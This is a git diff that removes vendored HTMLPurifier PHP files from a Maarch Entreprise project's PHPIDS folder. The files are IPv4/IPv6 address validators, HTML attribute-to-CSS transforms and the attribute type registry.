b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv4.php deleted file mode 100755 index a381809382c820d97ac9cbac74b6fcd0225c7aef..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv4.php +++ /dev/null @@ -1,39 +0,0 @@ -<?php - -/** - * Validates an IPv4 address - * @author Feyd @ forums.devnetwork.net (public domain) - */ -class HTMLPurifier_AttrDef_URI_IPv4 extends HTMLPurifier_AttrDef -{ - - /** - * IPv4 regex, protected so that IPv6 can reuse it - */ - protected $ip4; - - public function validate($aIP, $config, $context) { - - if (!$this->ip4) $this->_loadRegex(); - - if (preg_match('#^' . $this->ip4 . '$#s', $aIP)) - { - return $aIP; - } - - return false; - - } - - /** - * Lazy load function to prevent regex from being stuffed in - * cache. - */ - protected function _loadRegex() { - $oct = '(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])'; // 0-255 - $this->ip4 = "(?:{$oct}\\.{$oct}\\.{$oct}\\.{$oct})"; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv6.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv6.php deleted file mode 100755 index e49659e9848787bece7688631c24f06d19e09115..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv6.php +++ /dev/null @@ -1,99 +0,0 @@ -<?php - -/** - * Validates an IPv6 address. - * @author Feyd @ forums.devnetwork.net (public domain) - * @note This function requires brackets to have been removed from address - * in URI. - */ -class HTMLPurifier_AttrDef_URI_IPv6 extends HTMLPurifier_AttrDef_URI_IPv4 -{ - - public function validate($aIP, $config, $context) { - - if (!$this->ip4) $this->_loadRegex(); - - $original = $aIP; - - $hex = '[0-9a-fA-F]'; - $blk = '(?:' . $hex . '{1,4})'; - $pre = '(?:/(?:12[0-8]|1[0-1][0-9]|[1-9][0-9]|[0-9]))'; // /0 - /128 - - // prefix check - if (strpos($aIP, '/') !== false) - { - if (preg_match('#' . $pre . '$#s', $aIP, $find)) - { - $aIP = substr($aIP, 0, 0-strlen($find[0])); - unset($find); - } - else - { - return false; - } - } - - // IPv4-compatiblity check - if (preg_match('#(?<=:'.')' . $this->ip4 . '$#s', $aIP, $find)) - { - $aIP = substr($aIP, 0, 0-strlen($find[0])); - $ip = explode('.', $find[0]); - $ip = array_map('dechex', $ip); - $aIP .= $ip[0] . $ip[1] . ':' . $ip[2] . $ip[3]; - unset($find, $ip); - } - - // compression check - $aIP = explode('::', $aIP); - $c = count($aIP); - if ($c > 2) - { - return false; - } - elseif ($c == 2) - { - list($first, $second) = $aIP; - $first = explode(':', $first); - $second = explode(':', $second); - - if (count($first) + count($second) > 8) - { - return false; - } - - while(count($first) < 8) - { - array_push($first, '0'); - } - - array_splice($first, 8 - count($second), 8, $second); - $aIP = $first; - unset($first,$second); - } - else - { - $aIP = explode(':', $aIP[0]); - } - $c = count($aIP); - - if ($c != 8) - { - return false; - } - - // All the pieces should be 16-bit hex strings. Are they? - foreach ($aIP as $piece) - { - if (!preg_match('#^[0-9a-fA-F]{4}$#s', sprintf('%04s', $piece))) - { - return false; - } - } - - return $original; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform.php deleted file mode 100755 index e525c946c86b9430163fe96d1841b6420e9d574d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform.php +++ /dev/null @@ -1,56 +0,0 @@ -<?php - -/** - * Processes an entire attribute array for corrections needing multiple values. - * - * Occasionally, a certain attribute will need to be removed and popped onto - * another value. Instead of creating a complex return syntax for - * HTMLPurifier_AttrDef, we just pass the whole attribute array to a - * specialized object and have that do the special work. That is the - * family of HTMLPurifier_AttrTransform. - * - * An attribute transformation can be assigned to run before or after - * HTMLPurifier_AttrDef validation. See HTMLPurifier_HTMLDefinition for - * more details. - */ - -abstract class HTMLPurifier_AttrTransform -{ - - /** - * Abstract: makes changes to the attributes dependent on multiple values. - * - * @param $attr Assoc array of attributes, usually from - * HTMLPurifier_Token_Tag::$attr - * @param $config Mandatory HTMLPurifier_Config object. - * @param $context Mandatory HTMLPurifier_Context object - * @returns Processed attribute array. - */ - abstract public function transform($attr, $config, $context); - - /** - * Prepends CSS properties to the style attribute, creating the - * attribute if it doesn't exist. - * @param $attr Attribute array to process (passed by reference) - * @param $css CSS to prepend - */ - public function prependCSS(&$attr, $css) { - $attr['style'] = isset($attr['style']) ? $attr['style'] : ''; - $attr['style'] = $css . $attr['style']; - } - - /** - * Retrieves and removes an attribute - * @param $attr Attribute array to process (passed by reference) - * @param $key Key of attribute to confiscate - */ - public function confiscateAttr(&$attr, $key) { - if (!isset($attr[$key])) return null; - $value = $attr[$key]; - unset($attr[$key]); - return $value; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Background.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Background.php deleted file mode 100755 index 3dfcfd33970d6b7a86ab1c435abc8e6cc78699ea..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Background.php +++ /dev/null @@ -1,23 +0,0 @@ -<?php - -/** - * Pre-transform that changes proprietary background attribute to CSS. - */ -class HTMLPurifier_AttrTransform_Background extends HTMLPurifier_AttrTransform { - - public function transform($attr, $config, $context) { - - if (!isset($attr['background'])) return $attr; - - $background = $this->confiscateAttr($attr, 'background'); - // some validation should happen here - - $this->prependCSS($attr, "background-image:url($background);"); - - return $attr; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BdoDir.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BdoDir.php deleted file mode 100755 index e9800bb4934ac67c9a7738b8dbbbd7a4cc16a5d7..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BdoDir.php +++ /dev/null @@ -1,19 +0,0 @@ -<?php - -// this MUST be placed in post, as it assumes that any value in dir is valid - -/** - * Post-trasnform that ensures that bdo tags have the dir attribute set. - */ -class HTMLPurifier_AttrTransform_BdoDir extends HTMLPurifier_AttrTransform -{ - - public function transform($attr, $config, $context) { - if (isset($attr['dir'])) return $attr; - $attr['dir'] = $config->get('Attr.DefaultTextDir'); - return $attr; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BgColor.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BgColor.php deleted file mode 100755 index 821ac573b183c16eac3a5003edb181fff2ddb002..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BgColor.php +++ /dev/null @@ -1,23 +0,0 @@ -<?php - -/** - * Pre-transform that changes deprecated bgcolor attribute to CSS. - */ -class HTMLPurifier_AttrTransform_BgColor extends HTMLPurifier_AttrTransform { - - public function transform($attr, $config, $context) { - - if (!isset($attr['bgcolor'])) return $attr; - - $bgcolor = $this->confiscateAttr($attr, 'bgcolor'); - // some validation should happen here - - $this->prependCSS($attr, "background-color:$bgcolor;"); - - return $attr; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BoolToCSS.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BoolToCSS.php deleted file mode 100755 index d9bf3b53be507cb085e1db36f68080664332a89f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/BoolToCSS.php +++ /dev/null @@ -1,36 +0,0 @@ -<?php - -/** - * Pre-transform that changes converts a boolean attribute to fixed CSS - */ -class HTMLPurifier_AttrTransform_BoolToCSS extends HTMLPurifier_AttrTransform { - - /** - * Name of boolean attribute that is trigger - */ - protected $attr; - - /** - * CSS declarations to add to style, needs trailing semicolon - */ - protected $css; - - /** - * @param $attr string attribute name to convert from - * @param $css string CSS declarations to add to style (needs semicolon) - */ - public function __construct($attr, $css) { - $this->attr = $attr; - $this->css = $css; - } - - public function transform($attr, $config, $context) { - if (!isset($attr[$this->attr])) return $attr; - unset($attr[$this->attr]); - $this->prependCSS($attr, $this->css); - return $attr; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Border.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Border.php deleted file mode 100755 index b032ef2ff6e821dcb8b31cf43592eb40a25d5efc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Border.php +++ /dev/null @@ -1,18 +0,0 @@ -<?php - -/** - * Pre-transform that changes deprecated border attribute to CSS. - */ -class HTMLPurifier_AttrTransform_Border extends HTMLPurifier_AttrTransform { - - public function transform($attr, $config, $context) { - if (!isset($attr['border'])) return $attr; - $border_width = $this->confiscateAttr($attr, 'border'); - // some validation should happen here - $this->prependCSS($attr, "border:{$border_width}px solid;"); - return $attr; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/EnumToCSS.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/EnumToCSS.php deleted file mode 100755 index 39618eb4bb8861d14a445600b75b8e488be56370..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/EnumToCSS.php +++ /dev/null @@ -1,58 +0,0 @@ -<?php - -/** - * Generic pre-transform that converts an attribute with a fixed number of - * values (enumerated) to CSS. - */ -class HTMLPurifier_AttrTransform_EnumToCSS extends HTMLPurifier_AttrTransform { - - /** - * Name of attribute to transform from - */ - protected $attr; - - /** - * Lookup array of attribute values to CSS - */ - protected $enumToCSS = array(); - - /** - * Case sensitivity of the matching - * @warning Currently can only be guaranteed to work with ASCII - * values. - */ - protected $caseSensitive = false; - - /** - * @param $attr String attribute name to transform from - * @param $enumToCSS Lookup array of attribute values to CSS - * @param $case_sensitive Boolean case sensitivity indicator, default false - */ - public function __construct($attr, $enum_to_css, $case_sensitive = false) { - $this->attr = $attr; - $this->enumToCSS = $enum_to_css; - $this->caseSensitive = (bool) $case_sensitive; - } - - public function transform($attr, $config, $context) { - - if (!isset($attr[$this->attr])) return $attr; - - $value = trim($attr[$this->attr]); - unset($attr[$this->attr]); - - if (!$this->caseSensitive) $value = strtolower($value); - - if (!isset($this->enumToCSS[$value])) { - return $attr; - } - - $this->prependCSS($attr, $this->enumToCSS[$value]); - - return $attr; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ImgRequired.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ImgRequired.php deleted file mode 100755 index ca8b62343b3ae1a59888193198187255176df2b0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ImgRequired.php +++ /dev/null @@ -1,43 +0,0 @@ -<?php - -// must be called POST validation - -/** - * Transform that supplies default values for the src and alt attributes - * in img tags, as well as prevents the img tag from being removed - * because of a missing alt tag. This needs to be registered as both - * a pre and post attribute transform. - */ -class HTMLPurifier_AttrTransform_ImgRequired extends HTMLPurifier_AttrTransform -{ - - public function transform($attr, $config, $context) { - - $src = true; - if (!isset($attr['src'])) { - if ($config->get('Core.RemoveInvalidImg')) return $attr; - $attr['src'] = $config->get('Attr.DefaultInvalidImage'); - $src = false; - } - - if (!isset($attr['alt'])) { - if ($src) { - $alt = $config->get('Attr.DefaultImageAlt'); - if ($alt === null) { - // truncate if the alt is too long - $attr['alt'] = substr(basename($attr['src']),0,40); - } else { - $attr['alt'] = $alt; - } - } else { - $attr['alt'] = $config->get('Attr.DefaultInvalidImageAlt'); - } - } - - return $attr; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ImgSpace.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ImgSpace.php deleted file mode 100755 index 25cb887535c8f1f027f3b2d04445d103f222f19b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ImgSpace.php +++ /dev/null @@ -1,44 +0,0 @@ -<?php - -/** - * Pre-transform that changes deprecated hspace and vspace attributes to CSS - */ -class HTMLPurifier_AttrTransform_ImgSpace extends HTMLPurifier_AttrTransform { - - protected $attr; - protected $css = array( - 'hspace' => array('left', 'right'), - 'vspace' => array('top', 'bottom') - ); - - public function __construct($attr) { - $this->attr = $attr; - if (!isset($this->css[$attr])) { - trigger_error(htmlspecialchars($attr) . ' is not valid space attribute'); - } - } - - public function transform($attr, $config, $context) { - - if (!isset($attr[$this->attr])) return $attr; - - $width = $this->confiscateAttr($attr, $this->attr); - // some validation could happen here - - if (!isset($this->css[$this->attr])) return $attr; - - $style = ''; - foreach ($this->css[$this->attr] as $suffix) { - $property = "margin-$suffix"; - $style .= "$property:{$width}px;"; - } - - $this->prependCSS($attr, $style); - - return $attr; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Input.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Input.php deleted file mode 100755 index 2c3b4f85b539b5cd3419a911ecca05cd28857730..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Input.php +++ /dev/null @@ -1,40 +0,0 @@ -<?php - -/** - * Performs miscellaneous cross attribute validation and filtering for - * input elements. This is meant to be a post-transform. - */ -class HTMLPurifier_AttrTransform_Input extends HTMLPurifier_AttrTransform { - - protected $pixels; - - public function __construct() { - $this->pixels = new HTMLPurifier_AttrDef_HTML_Pixels(); - } - - public function transform($attr, $config, $context) { - if (!isset($attr['type'])) $t = 'text'; - else $t = strtolower($attr['type']); - if (isset($attr['checked']) && $t !== 'radio' && $t !== 'checkbox') { - unset($attr['checked']); - } - if (isset($attr['maxlength']) && $t !== 'text' && $t !== 'password') { - unset($attr['maxlength']); - } - if (isset($attr['size']) && $t !== 'text' && $t !== 'password') { - $result = $this->pixels->validate($attr['size'], $config, $context); - if ($result === false) unset($attr['size']); - else $attr['size'] = $result; - } - if (isset($attr['src']) && $t !== 'image') { - unset($attr['src']); - } - if (!isset($attr['value']) && ($t === 'radio' || $t === 'checkbox')) { - $attr['value'] = ''; - } - return $attr; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Lang.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Lang.php deleted file mode 100755 index 8d48393474d1aed96c6b61539ac20e8041d197b0..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Lang.php +++ /dev/null @@ -1,28 +0,0 @@ -<?php - -/** - * Post-transform that copies lang's value to xml:lang (and vice-versa) - * @note Theoretically speaking, this could be a pre-transform, but putting - * post is more efficient. - */ -class HTMLPurifier_AttrTransform_Lang extends HTMLPurifier_AttrTransform -{ - - public function transform($attr, $config, $context) { - - $lang = isset($attr['lang']) ? $attr['lang'] : false; - $xml_lang = isset($attr['xml:lang']) ? $attr['xml:lang'] : false; - - if ($lang !== false && $xml_lang === false) { - $attr['xml:lang'] = $lang; - } elseif ($xml_lang !== false) { - $attr['lang'] = $xml_lang; - } - - return $attr; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Length.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Length.php deleted file mode 100755 index ed2643a2032a589f8f22fb4f25c5841bb03be73b..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Length.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php - -/** - * Class for handling width/height length attribute transformations to CSS - */ -class HTMLPurifier_AttrTransform_Length extends HTMLPurifier_AttrTransform -{ - - protected $name; - protected $cssName; - - public function __construct($name, $css_name = null) { - $this->name = $name; - $this->cssName = $css_name ? $css_name : $name; - } - - public function transform($attr, $config, $context) { - if (!isset($attr[$this->name])) return $attr; - $length = $this->confiscateAttr($attr, $this->name); - if(ctype_digit($length)) $length .= 'px'; - $this->prependCSS($attr, $this->cssName . ":$length;"); - return $attr; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Name.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Name.php deleted file mode 100755 index dda70eac32e9b67ae201881a795f58472ee377cc..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Name.php +++ /dev/null @@ -1,21 +0,0 @@ -<?php - -/** - * Pre-transform that changes deprecated name attribute to ID if necessary - */ -class HTMLPurifier_AttrTransform_Name extends HTMLPurifier_AttrTransform -{ - - public function transform($attr, $config, $context) { - // Abort early if we're using relaxed definition of name - if ($config->get('HTML.Attr.Name.UseCDATA')) return $attr; - if (!isset($attr['name'])) return $attr; - $id = $this->confiscateAttr($attr, 'name'); - if ( isset($attr['id'])) return $attr; - $attr['id'] = $id; - return $attr; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/NameSync.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/NameSync.php deleted file mode 100755 index 68fae8ce694aa9fa6402e5fd86668b04049d1873..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/NameSync.php +++ /dev/null @@ -1,27 +0,0 @@ -<?php - -/** - * Post-transform that performs validation to the name attribute; if - * it is present with an equivalent id attribute, it is passed through; - * otherwise validation is performed. - */ -class HTMLPurifier_AttrTransform_NameSync extends HTMLPurifier_AttrTransform -{ - - public function __construct() { - $this->idDef = new HTMLPurifier_AttrDef_HTML_ID(); - } - - public function transform($attr, $config, $context) { - if (!isset($attr['name'])) return $attr; - $name = $attr['name']; - if (isset($attr['id']) && $attr['id'] === $name) return $attr; - $result = $this->idDef->validate($name, $config, $context); - if ($result === false) unset($attr['name']); - else $attr['name'] = $result; - return $attr; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Nofollow.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Nofollow.php deleted file mode 100755 index 1ae9edda07a877ce8f89ee5ae1bf7902737249ef..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Nofollow.php +++ /dev/null @@ -1,41 +0,0 @@ -<?php - -// must be called POST validation - -/** - * Adds rel="nofollow" to all outbound links. This transform is - * only attached if Attr.Nofollow is TRUE. - */ -class HTMLPurifier_AttrTransform_Nofollow extends HTMLPurifier_AttrTransform -{ - private $parser; - - public function __construct() { - $this->parser = new HTMLPurifier_URIParser(); - } - - public function transform($attr, $config, $context) { - - if (!isset($attr['href'])) { - return $attr; - } - - // XXX Kind of inefficient - $url = $this->parser->parse($attr['href']); - $scheme = $url->getSchemeObj($config, $context); - - if (!is_null($url->host) && $scheme !== false && $scheme->browsable) { - if (isset($attr['rel'])) { - $attr['rel'] .= ' nofollow'; - } else { - $attr['rel'] = 'nofollow'; - } - } - - return $attr; - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeEmbed.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeEmbed.php deleted file mode 100755 index 1017e6bca2b0627da3a43590bc105e1eb8e9847e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeEmbed.php +++ /dev/null @@ -1,15 +0,0 @@ -<?php - -class HTMLPurifier_AttrTransform_SafeEmbed extends HTMLPurifier_AttrTransform -{ - public $name = "SafeEmbed"; - - public function transform($attr, $config, $context) { - $attr['allowscriptaccess'] = 'never'; - $attr['allownetworking'] = 'internal'; - $attr['type'] = 'application/x-shockwave-flash'; - return $attr; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeObject.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeObject.php deleted file mode 100755 index e909f1627e0d970575698c0456159cd90799bf1a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeObject.php +++ /dev/null @@ -1,16 +0,0 @@ -<?php - -/** - * Writes default type for all objects. Currently only supports flash. - */ -class HTMLPurifier_AttrTransform_SafeObject extends HTMLPurifier_AttrTransform -{ - public $name = "SafeObject"; - - function transform($attr, $config, $context) { - if (!isset($attr['type'])) $attr['type'] = 'application/x-shockwave-flash'; - return $attr; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeParam.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeParam.php deleted file mode 100755 index 21ac90b805542b68b73f2d26f1573fd308a52665..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeParam.php +++ /dev/null @@ -1,64 +0,0 @@ -<?php - -/** - * Validates name/value pairs in param tags to be used in safe objects. This - * will only allow name values it recognizes, and pre-fill certain attributes - * with required values. - * - * @note - * This class only supports Flash. In the future, Quicktime support - * may be added. - * - * @warning - * This class expects an injector to add the necessary parameters tags. - */ -class HTMLPurifier_AttrTransform_SafeParam extends HTMLPurifier_AttrTransform -{ - public $name = "SafeParam"; - private $uri; - - public function __construct() { - $this->uri = new HTMLPurifier_AttrDef_URI(true); // embedded - $this->wmode = new HTMLPurifier_AttrDef_Enum(array('window', 'opaque', 'transparent')); - } - - public function transform($attr, $config, $context) { - // If we add support for other objects, we'll need to alter the - // transforms. - switch ($attr['name']) { - // application/x-shockwave-flash - // Keep this synchronized with Injector/SafeObject.php - case 'allowScriptAccess': - $attr['value'] = 'never'; - break; - case 'allowNetworking': - $attr['value'] = 'internal'; - break; - case 'allowFullScreen': - if ($config->get('HTML.FlashAllowFullScreen')) { - $attr['value'] = ($attr['value'] == 'true') ? 'true' : 'false'; - } else { - $attr['value'] = 'false'; - } - break; - case 'wmode': - $attr['value'] = $this->wmode->validate($attr['value'], $config, $context); - break; - case 'movie': - case 'src': - $attr['name'] = "movie"; - $attr['value'] = $this->uri->validate($attr['value'], $config, $context); - break; - case 'flashvars': - // we're going to allow arbitrary inputs to the SWF, on - // the reasoning that it could only hack the SWF, not us. - break; - // add other cases to support other param name/value pairs - default: - $attr['name'] = $attr['value'] = null; - } - return $attr; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ScriptRequired.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ScriptRequired.php deleted file mode 100755 index 7dfd2e8c2ddd53c1db7b2c5e7e59ca0a3efd3a7f..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ScriptRequired.php +++ /dev/null @@ -1,16 +0,0 @@ -<?php - -/** - * Implements required attribute stipulation for <script> - */ -class HTMLPurifier_AttrTransform_ScriptRequired extends HTMLPurifier_AttrTransform -{ - public function transform($attr, $config, $context) { - if (!isset($attr['type'])) { - $attr['type'] = 'text/javascript'; - } - return $attr; - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Textarea.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Textarea.php deleted file mode 100755 index 83749e9c6f9259e5cb26e5664f5f3fce8393767d..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/Textarea.php +++ /dev/null @@ -1,18 +0,0 @@ -<?php - -/** - * Sets height/width defaults for <textarea> - */ -class HTMLPurifier_AttrTransform_Textarea extends HTMLPurifier_AttrTransform -{ - - public function transform($attr, $config, $context) { - // Calculated from Firefox - if (!isset($attr['cols'])) $attr['cols'] = '22'; - if (!isset($attr['rows'])) $attr['rows'] = '3'; - return $attr; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTypes.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTypes.php deleted file mode 100755 index 8202255969d2fa0bd9cc46198aba5826eb5143f3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTypes.php +++ /dev/null @@ -1,77 +0,0 @@ -<?php - -/** - * Provides lookup array of attribute types to HTMLPurifier_AttrDef objects - */ -class HTMLPurifier_AttrTypes -{ - /** - * Lookup array of attribute string identifiers to concrete implementations - */ - protected $info = array(); - - /** - * Constructs the info array, supplying default implementations for attribute - * types. - */ - public function __construct() { - // pseudo-types, must be instantiated via shorthand - $this->info['Enum'] = new HTMLPurifier_AttrDef_Enum(); - $this->info['Bool'] = new HTMLPurifier_AttrDef_HTML_Bool(); - - $this->info['CDATA'] = new HTMLPurifier_AttrDef_Text(); - $this->info['ID'] = new HTMLPurifier_AttrDef_HTML_ID(); - $this->info['Length'] = new HTMLPurifier_AttrDef_HTML_Length(); - $this->info['MultiLength'] = new HTMLPurifier_AttrDef_HTML_MultiLength(); - $this->info['NMTOKENS'] = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - $this->info['Pixels'] = new HTMLPurifier_AttrDef_HTML_Pixels(); - $this->info['Text'] = new HTMLPurifier_AttrDef_Text(); - $this->info['URI'] = new HTMLPurifier_AttrDef_URI(); - $this->info['LanguageCode'] = new HTMLPurifier_AttrDef_Lang(); - $this->info['Color'] = new HTMLPurifier_AttrDef_HTML_Color(); - - // unimplemented aliases - $this->info['ContentType'] = new HTMLPurifier_AttrDef_Text(); - $this->info['ContentTypes'] = new HTMLPurifier_AttrDef_Text(); - $this->info['Charsets'] = new HTMLPurifier_AttrDef_Text(); - $this->info['Character'] = new HTMLPurifier_AttrDef_Text(); - - // "proprietary" types - $this->info['Class'] = new HTMLPurifier_AttrDef_HTML_Class(); - - // number is really a positive integer (one or more digits) - // FIXME: ^^ not always, see start and value of list items - $this->info['Number'] = new HTMLPurifier_AttrDef_Integer(false, false, true); - } - - /** - * Retrieves a type - * @param $type String type name - * @return Object 